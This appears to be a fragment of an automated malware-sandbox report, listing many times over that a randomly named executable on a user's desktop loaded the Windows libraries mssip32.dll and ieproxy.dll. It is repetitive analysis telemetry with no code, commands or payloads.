Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UTstKgkJNY.exe	Section loaded: ieproxy.dll	Jump to behavior
